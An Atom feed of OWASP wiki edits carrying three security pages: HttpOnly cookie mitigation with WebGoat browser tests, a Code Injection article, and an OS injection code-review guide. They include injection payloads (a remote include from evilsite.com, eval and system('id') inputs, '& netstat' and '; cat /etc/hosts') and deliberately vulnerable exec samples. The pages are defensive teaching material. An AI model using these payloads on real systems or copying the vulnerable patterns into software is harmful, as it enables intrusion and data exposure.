https://wiki.owasp.org/api.php?action=feedcontributions&user=Csa&feedformat=atomOWASP - User contributions [en]2024-03-29T06:34:19ZUser contributionsMediaWiki 1.27.2https://wiki.owasp.org/index.php?title=HttpOnly&diff=46004HttpOnly2008-11-06T01:52:30Z<p>Csa: Only one name = value pair is legal in set-cookie.</p>
<hr />
<div>== Overview ==<br />
<br />
The goal of this section is to introduce, discuss, and provide language specific mitigation techniques for HTTPOnly.<br />
<br />
<h3 style=color:#4682B4> <u> Who developed HTTPOnly? When? </u> </h3><br />
<br />
According to a daily blog article by Jordan Wiens, “No cookie for you!,” HTTPOnly cookies were first implemented in 2002 by Microsoft Internet Explorer developers for Internet Explorer 6 SP1. [http://www.networkcomputing.com/blog/dailyblog/archives/2007/03/no_cookie_for_y.html Wiens],<br />
[http://www.networkcomputing.com/blog/dailyblog/archives/2007/03/no_cookie_for_y.html]<br />
<br />
<h3 style=color:#4682B4> <u> What is HTTPOnly? </u> </h3><br />
<br />
According to the [http://msdn2.microsoft.com/en-us/library/ms533046.aspx Microsoft Developer Network], HTTPOnly is an ''additional flag'' included in a Set-Cookie HTTP response header. Using the HTTPOnly flag when generating a cookie helps mitigate the risk of client side script accessing the protected cookie (if the browser supports it).<br />
<br />
*The example below shows the syntax used within the '''HTTP response header''':<br />
<br />
Set-Cookie: <name>=<value>[; <Max-Age>=<age>]<br />
[; expires=<date>][; domain=<domain_name>]<br />
[; path=<some_path>][; secure][; HTTPOnly]<br />
<br />
If the HTTPOnly flag (optional) is included in the HTTP response header, the cookie cannot be accessed through client side script (again if the browser supports this flag). As a result, even if a cross-site scripting '''(XSS)''' flaw exists, and a user accidentally accesses a link that exploits this flaw, the browser (primarily Internet Explorer) will not reveal the cookie to a third party.<br />
<br />
If a browser does not support HTTPOnly and a website attempts to set an HTTPOnly cookie, the HTTPOnly flag will be ignored by the browser, thus creating a traditional, script accessible cookie. As a result, the cookie (typically your session cookie) becomes vulnerable to theft of modification by malicious script. [http://msdn2.microsoft.com/en-us/library/ms533046.aspx Mitigating], [http://msdn2.microsoft.com/en-us/library/ms533046.aspx]<br />
<br />
<h3 style=color:#4682B4> <u> Mitigating XSS using HTTPOnly </u> </h3><br />
<br />
According to [http://msdn2.microsoft.com/en-us/library/ms972826.aspx Michael Howard], Senior Security Program Manager in the Secure Windows Initiative group at Microsoft, the majority of XSS attacks target theft of session cookies. A server could help mitigate this issue by setting the HTTPOnly flag on a cookie it creates, indicating the cookie should not be accessible on the client.<br />
<br />
If a browser that supports HTTPOnly detects a cookie containing the HTTPOnly flag, and client side script code attempts to read the cookie, the browser ''returns an empty string'' as the result. This causes the attack to fail by preventing the malicious (usually XSS) code from sending the data to an attacker's website. [http://msdn2.microsoft.com/en-us/library/ms972826.aspx Howard], [http://msdn2.microsoft.com/en-us/library/ms972826.aspx]<br />
<br />
<h5 style=color:#2E8B57> <u> Using Java to Set HTTPOnly </u> </h5> <br />
<br />
*'''Problem'''<br />
**Most environments (e.g., Java EE) do not provide a mechanism to set the HTTPOnly flag.<br />
<br />
*'''Solution'''<br />
response.setHeader("Set-Cookie", <br />
"originalcookiename=originalvalue; <br />
HTTPOnly=");<br />
<br />
'''Note''': This works OK for custom cookies, but the JSESSIONID is created and handled by the Java EE container, so you really cannot override the framework to add HTTPOnly to JSESSIONID.<br />
<br />
<h5 style=color:#2E8B57> <u> Using .NET to Set HTTPOnly </u> </h5> <br />
<br />
*By ''default'', '''.NET 2.0''' sets the HTTPOnly attribute for<br />
*#Session ID<br />
*#Forms Authentication cookie<br />
<br />
<br />
In .NET 2.0, HTTPOnly can also be set via the HttpCookie object for all custom application cookies<br />
*Via '''web.config''' in the system.web/httpCookies element<br />
<httpCookies httpOnlyCookies="true" …> <br />
<br />
*Or '''programmatically'''<br />
C# Code:<br />
HttpCookie myCookie = new HttpCookie("myCookie");<br />
myCookie.HttpOnly = true;<br />
Response.AppendCookie(myCookie);<br />
<br />
VB.NET Code:<br />
Dim myCookie As HttpCookie = new HttpCookie("myCookie")<br />
myCookie.HttpOnly = True<br />
Response.AppendCookie(myCookie)<br />
<br />
*However, in '''.NET 1.1''', you would have to do this ''manually'', e.g.,<br />
Response.Cookies[cookie].Path += ";HTTPOnly";<br />
<br />
<h5 style=color:#2E8B57> <u> Using PHP to set HttpOnly </u> </h5> <br />
PHP supports setting the HttpOnly flag since version 5.2.0 (November 2006).<br />
<br />
The flag is set either permanently in php.ini through the parameter:<br />
session.cookie_httponly<br />
or in and during a script via the function:<br />
session_set_cookie_params ( .., .., .., .., bool $httponly)<br />
<br />
* [http://www.php.net/manual/en/session.configuration.php#ini.session.cookie-httponly PHP manual on ''HttpOnly'']<br />
<br />
== Browsers Supporting HTTPOnly ==<br />
<br />
Using WebGoat's HTTPOnly lesson, the following web browsers have been tested for HTTPOnly support. If the browsers enforces HTTPOnly, a client side script will be unable to read or write the session cookie. However, there is currently no prevention of reading or writing the session cookie via a XMLHTTPRequest. The results are listed below in '''table 1'''.<br />
<br />
{|border="2" width="100%" align="center"<br />
|+ '''Table 1:''' Browsers Supporting HTTPOnly<br />
|-<br />
! style="background:black; color:white" | '''Browser'''<br />
! style="background:black; color:white" | '''Version'''<br />
! style="background:black; color:white" | '''Prevents Reads'''<br />
! style="background:black; color:white" | '''Prevents Writes'''<br />
! style="background:black; color:white" | '''Prevents Read within XMLHTTPResponse*'''<br />
|-<br />
| Microsoft Internet Explorer<br />
| align="center" | 8 Beta 2<br />
| align="center" | Yes<br />
| align="center" | Yes<br />
| align="center" | No<br />
|-<br />
| Microsoft Internet Explorer<br />
| align="center" | 7<br />
| align="center" | Yes<br />
| align="center" | Yes<br />
| align="center" | No<br />
|-<br />
| Microsoft Internet Explorer<br />
| align="center" | 6 (SP1)<br />
| align="center" | Yes<br />
| align="center" | No<br />
| align="center" | No<br />
|-<br />
| Mozilla Firefox<br />
| align="center" | 2.0.0.6<br />
| align="center" | Yes<br />
| align="center" | Yes<br />
| align="center" | No (almost yes, see [https://bugzilla.mozilla.org/show_bug.cgi?id=380418#c14])<br />
|-<br />
| Netscape Navigator<br />
| align="center" | 9.0b3<br />
| align="center" | Yes<br />
| align="center" | Yes<br />
| align="center" | No<br />
|-<br />
| Opera<br />
| align="center" | 9.23<br />
| align="center" | No<br />
| align="center" | No<br />
| align="center" | No<br />
|-<br />
| Opera<br />
| align="center" | 9.50<br />
| align="center" | Yes<br />
| align="center" | No<br />
| align="center" | No<br />
|-<br />
| Safari<br />
| align="center" | 3.0<br />
| align="center" | No<br />
| align="center" | No<br />
| align="center" | No<br />
|-<br />
| Google's Chrome<br />
| align="center" | Beta (initial public release)<br />
| align="center" | Yes<br />
| align="center" | No<br />
| align="center" | No<br />
|}<br />
<br />
<nowiki>*</nowiki> An attacker could still read the session cookie in a response to an '''[http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/ XmlHttpRequest]'''.<br />
<br />
== Using WebGoat to Test for HTTPOnly Support ==<br />
<br />
The goal of this section is to provide a step-by-step example of testing your browser for HTTPOnly support.<br />
<br />
<h3 style=color:#4682B4> <u> Getting Started </u> </h3><br />
<br />
[[Image:Click_link.JPG|thumb|175px|right|Figure 1 - Accessing WebGoat's HTTPOnly Test Lesson]]<br />
<br />
Assuming you have installed and launched WebGoat, begin by navigating to the '''‘HTTPOnly Test’ lesson''' located within the Cross-Site Scripting ('''XSS''') category. After loading the ‘HTTPOnly Test’ lesson, as shown in '''figure 1''', you are now able to begin testing web browsers supporting HTTPOnly.<br />
<br />
<h3 style=color:#4682B4> <u> Lesson Goal </u> </h3><br />
<br />
If the ''HTTPOnly flag'' is set, then your browser should not allow a client-side script to access the session cookie. Unfortunately, since the attribute is relatively new, several browsers may neglect to handle the new attribute properly.<br />
<br />
The '''purpose''' of this lesson is to test whether your browser supports the '''HTTPOnly cookie flag'''. ''Note the value of the'' '''''unique2u cookie'''''. If your browser supports HTTPOnly, and you ''enable'' it for a cookie, a client-side script should NOT be able to read OR write to that cookie, but the browser can still send its value to the server. However, some browsers only prevent client side read access, but do not prevent write access.<br />
<br />
<h3 style=color:#4682B4> <u> Testing Web Browsers for HTTPOnly Support </u> </h3><br />
<br />
The following test was performed on two browsers, '''Internet Explorer 7''' and '''Opera 9.22''', to demonstrate the results when the HTTPOnly flag is enforced properly. As you will see, IE7 properly enforces the HTTPOnly flag, whereas Opera does not properly enforce the HTTPOnly flag.<br />
<br />
<h5 style=color:#2E8B57> <u> Disabling HTTPOnly </u> </h5> <br />
<br />
1) Select the option to '''turn HTTPOnly off''' as shown below in '''figure 2'''.<br />
<br />
[[Image:Fig2-Disabling_HTTPOnly.PNG|frame|center|Figure 2 - Disabling HTTPOnly]]<br />
<br />
2) After turning HTTPOnly off, select the '''“Read Cookie”''' button. <br />
*An alert dialog box will display on the screen notifying you that ''since HTTPOnly was not enabled'', the '''‘unique2u’ cookie''' was successfully read as shown below in '''figure 3'''.<br />
<br />
[[Image:Fig3-Read_HTTPOnly_Off.PNG|frame|center|Figure 3 - Cookie Successfully Read with HTTPOnly Off]]<br />
<br />
3) With HTTPOnly remaining disabled, select the '''“Write Cookie” ''' button.<br />
<br />
*An alert dialog box will display on the screen notifying you that ''since HTTPOnly was not enabled'', the '''‘unique2u’ cookie''' was successfully modified on the client side as shown below in '''figure 4'''.<br />
<br />
[[Image:Fig4-Write_HTTPOnly_Off.PNG|frame|center|Figure 4 - Cookie Successfully Written with HTTPOnly Off]]<br />
<br />
*As you have seen thus far, '''browsing without HTTPOnly''' on is a potential '''''threat'''''. Next, we will '''enable HTTPOnly''' to demonstrate how this flag protects the cookie. <br />
<br />
<h5 style=color:#2E8B57> <u> Enabling HTTPOnly </u> </h5> <br />
<br />
4) Select the ''radio button'' to enable HTTPOnly as shown below in '''figure 5'''.<br />
<br />
[[Image:Fig5-Turning_HTTPOnly_On.PNG|frame|center|Figure 5 - Enabling HTTPOnly]]<br />
<br />
5) After enabling HTTPOnly, select the '''"Read Cookie"''' button.<br />
<br />
*If the browser enforces the HTTPOnly flag properly, an alert dialog box will display only the session ID rather than the contents of the '''‘unique2u’ cookie''' as shown below in '''figure 6'''. <br />
<br />
[[Image:Fig6-Cookie_Read_Protection.PNG|frame|center|Figure 6 - Enforced Cookie Read Protection]]<br />
<br />
*However, if the browser does not enforce the HTTPOnly flag properly, an alert dialog box will display both the '''‘unique2u’ cookie''' and session ID as shown below in '''figure 7'''.<br />
<br />
[[Image:Fig7-No_Cookie_Read_Protection.PNG|frame|center|Figure 7 - Unenforced Cookie Read Protection]]<br />
<br />
*Finally, we will test if the browser allows '''write access''' to the cookie with HTTPOnly enabled.<br />
<br />
6) Select the '''"Write Cookie"''' button.<br />
<br />
*If the browser enforces the HTTPOnly flag properly, client side modification will be unsuccessful in writing to the '''‘unique2u’ cookie''' and an alert dialog box will display only containing the session ID as shown below in '''figure 8'''. <br />
<br />
[[Image:Fig6-Cookie_Read_Protection.PNG|frame|center|Figure 8 - Enforced Cookie Write Protection]]<br />
<br />
*However, if the browser does not enforce the write protection property of HTTPOnly flag for the '''‘unique2u’ cookie''', the cookie will be successfully modified to ''HACKED'' on the client side as shown below in '''figure 9'''.<br />
<br />
[[Image:Fig9-No_Cookie_Write_Protection.PNG|frame|center|Figure 9 - Unenforced Cookie Write Protection]]<br />
<br />
== References ==<br />
<br />
[1] Wiens, Jordan. [http://www.networkcomputing.com/blog/dailyblog/archives/2007/03/no_cookie_for_y.html No cookie for you!"]<br />
<br />
[2] [http://msdn2.microsoft.com/en-us/library/ms533046.aspx Mitigating Cross-site Scripting with HTTP-Only Cookies]<br />
<br />
[3] Howard, Michael. [http://msdn2.microsoft.com/en-us/library/ms972826.aspx Some Bad News and Some Good News]</div>Csahttps://wiki.owasp.org/index.php?title=Code_Injection&diff=24007Code Injection2007-12-19T21:50:21Z<p>Csa: /* Examples */ Spelling, grammar fixes.</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
==Description==<br />
<br />
Code Injection is the general name for a lot of types of attacks, which depends on inserting of the code, which will be interprated by the application. Such an attack maybe be performed e.g. by adding string of characters into cookie or argument values in the URI. This attack make use of lack of accurate input/output data validation i.e.:<br />
<br />
- class of allowed charachters (standard regular expressions classes or custom)<br />
<br />
- data format<br />
<br />
- amount of expected data<br />
<br />
- for numerical input its values<br />
<br />
<br />
The difference between Code Injection and Command Injection are measures used to achive simmilar goals. The concept of Code Injection is to add malicious code into application, which then will be executed. Added code is a part of the application itself. It's not an external code, which is executed like it would be in Command Injection.<br />
<br />
==Examples ==<br />
<br />
'''Example 1'''<br />
<br />
If site uses include() fucntion, which operates on variables sent with GET method, and there is no validation on them performed, then the attacker may try to execute different code than author of the code had on mind.<br />
<br />
The URL below should display information about how to contact with the testsite company.<br />
<br />
http://testsite.com/index.php?page=contact.php<br />
<br />
Below the altered code will include another code from http://evilsite.com/evilcode.php. The script "evilcode.php" may contain e.g. phpinfo() function, which is usefull for gaining information about configuration of the environment in which the web service runs.<br />
<br />
http://testsite.com/?page=http://evilsite.com/evilcode.php<br />
<br />
One condition must be satisfied for this example to be successful, namely the web server configuration must allow for including files in the "http://" notation.<br />
<br />
<br />
'''Example 2'''<br />
<br />
When programmer uses eval() function and operates on data inside it, and these data may be altered by the attacker, then it's only one step closer to Code Injection.<br />
<br />
<br />
Mentioned below example shows how to use the eval() function:<br />
<br />
<pre><br />
$myvar = "varname";<br />
$x = $_GET['arg'];<br />
eval("\$myvar = \$x;");<br />
</pre><br />
<br />
The code above which smells like a rose may be used to perform a Code Injection attack.<br />
<br />
E.g. passing in the URI /index.php?arg=1; phpinfo()<br />
<br />
<br />
Exploiting bugs like these the attacker doesn't have to limit himself only to Code Injection attack. The attacker may tempt himself to use Command Injection technique e.g.<br />
<br />
<pre><br />
/index.pho?arg=1; system('id')<br />
</pre><br />
<br />
==Related Threats==<br />
<br />
*[[:Category:Command Execution]]<br />
<br />
==Related Attacks==<br />
<br />
*[[Command Injection]]<br />
*[[SQL Injection]]<br />
*[[LDAP Injection]]<br />
*[[SSI Injection]]<br />
*[[XSS]]<br />
<br />
==Related Vulnerabilities==<br />
<br />
*[[:Category: Input Validation Vulnerability]]<br />
<br />
==Related Countermeasures==<br />
<br />
* validation of the format / expected classes of charachetrs / input/output data size<br />
<br />
==Categories==<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]<br />
[[Category:Injection Attack]]</div>Csahttps://wiki.owasp.org/index.php?title=OS_Injection&diff=24006OS Injection2007-12-19T21:24:29Z<p>Csa: /* How to locate the potentially vulnerable code */ Typo correction</p>
<hr />
<div>[[OWASP Code Review Guide Table of Contents]]__TOC__<br />
<br />
Contact author: [mailto:eoin.keary@owasp.org Eoin Keary]<br />
<br />
<br />
== Introduction ==<br />
<br />
Injection flaws allow attackers to pass malicious code through a web application to another sub system.<br />
Depending on the subsystem different types of injection attack can be performed:<br />
RDBMS: SQL Injection<br />
WebBrowser/Appserver: SQL Injection<br />
OS-shell: Operating system commands Calling external applications from your application.<br />
<br />
==How to locate the potentially vulnerable code ==<br />
<br />
Many developers believe text fields are the only areas for data validation. This is an incorrect assumption. Any external input must be data validated:<br />
<br />
Text fields, List boxes, radio buttons, check boxes, cookies, HTTP header data, HTTP post data, hidden fields, parameter names and parameter values.<br />
… This is not an exhaustive list.<br />
<br />
“Process to process” or “entity-to-entity” communication must be investigated also. Any code that communicates with an upstream or downstream process and accepts input from it must be reviewed.<br />
<br />
All injection flaws are input validation errors. The presence of an injection flaw is an indication of incorrect data validation on the input received from an external source outside the boundary of trust, which gets more blurred every year.<br />
<br />
Basically for this type of vulnerability we need to find all input streams into the application. This can be from a users browser, CLI or fat client but also from upstream processes that “feed” our application.<br />
<br />
An example would be to search the code base for the use of API’s or packages that are normally used for communication purposes.<br />
<br />
The '''java.io''', '''java.sql''', '''java.net''', '''java.rmi''', '''java.xml''' packages are all used for application communication. Searching for methods from those packages in the code base can yield results. A less “scientific” method is to search for common keywords such as “UserID”, “LoginID” or “Password”.<br />
<br />
== Vulnerable Patterns for OS injection ==<br />
What we should be looking for are relationships between the application and the operating system. The application utilising functions of the underlying operating system.<br />
<br />
In java using the Runtime object, '''java.lang.Runtime''' does this.<br />
In .NET calls such as '''System.Diagnostics.Process.Start '''are used to call underlying OS functions. <br />
In PHP we may look for calls such as '''exec()''' or '''passthru()'''.<br />
<br />
<br />
<br />
'''Example''':<br />
<br />
We have a class that eventually gets input from the user via a HTTP request.<br />
This class is used to execute some native exe on the application server and return a result.<br />
<br />
public class DoStuff {<br />
public string executeCommand(String userName)<br />
{ try {<br />
String myUid = userName;<br />
Runtime rt = Runtime.getRuntime();<br />
rt.exec("doStuff.exe " +”-“ +myUid); // Call exe with userID<br />
}catch(Exception e)<br />
{<br />
e.printStackTrace();<br />
}<br />
}<br />
}<br />
<br />
<br />
Ok, so the method executeCommand calls '''''doStuff.exe''''' via the '''''java.lang.runtime''''' static method '''''getRuntime()'''''. The parameter passed is not validated in any way in this class. We are assuming that the data has not been data validated prior to calling this method. ''Transactional analysis should have encountered any data validation prior to this point.''<br />
Inputting “Joe69” would result in the following MS DOS command:<br />
'''''doStuff.exe –Joe69'''''<br />
Lets say we input '''''Joe69 & netstat –a''''' we would get the following response:<br />
The exe doStuff would execute passing in the User Id Joe69, but then the dos command '''''netstat''''' would be called. How this works is the passing of the parameter “&” into the application, which in turn is used as a command appender in MS DOS and hence the command after the & character is executed.<br />
<br />
UNIX:<br />
An attacker might insert the string '''“; cat /etc/hosts”''' the contents of the UNIX hosts file might be exposed to the attacker. <br />
<br />
.NET Example:<br />
namespace ExternalExecution<br />
{<br />
class CallExternal<br />
{<br />
static void Main(string[] args)<br />
{<br />
String arg1=args[0];<br />
System.Diagnostics.Process.Start("doStuff.exe", arg1);<br />
}<br />
}<br />
}<br />
<br />
Yet again there is no data validation to speak of here. Assuming no upstream validation occurring in another class.<br />
<br />
These attacks include calls to the operating system via system calls, the use of external programs via shell commands, as well as calls to backend databases via SQL (i.e., SQL injection). Complete scripts written in perl, python, shell, bat and other languages can be injected into poorly designed web applications and executed.<br />
<br />
==Good Patterns & procedures to prevent OS injection==<br />
<br />
See the Data Validation section.<br />
<br />
==Related Articles==<br />
[[Interpreter Injection]]<br />
<br />
[[Category:OWASP Code Review Project]]<br />
[[Category:Input Validation]]</div>Csa